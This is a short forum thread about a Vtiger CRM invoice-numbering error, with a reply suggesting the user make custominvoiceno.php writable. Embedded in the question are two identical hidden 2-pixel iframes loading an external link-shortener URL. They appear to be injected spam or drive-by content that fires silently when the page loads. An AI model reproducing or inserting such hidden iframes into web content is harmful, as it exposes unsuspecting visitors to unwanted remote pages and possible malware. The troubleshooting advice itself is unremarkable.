something happened but we can not create invoices, each time trying to create a new bill sends the message "Duplicate Invoice Number - Click here to Configure the Invoice Number"
if you try to change the invoice number, as if the Vtiger changes but actually makes no change.
Why is this happening? <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
Comments
change the permission to writeable for this file below
user_privileges/custominvoiceno.php
it should work and you will be able to create new invoice
thank you very much.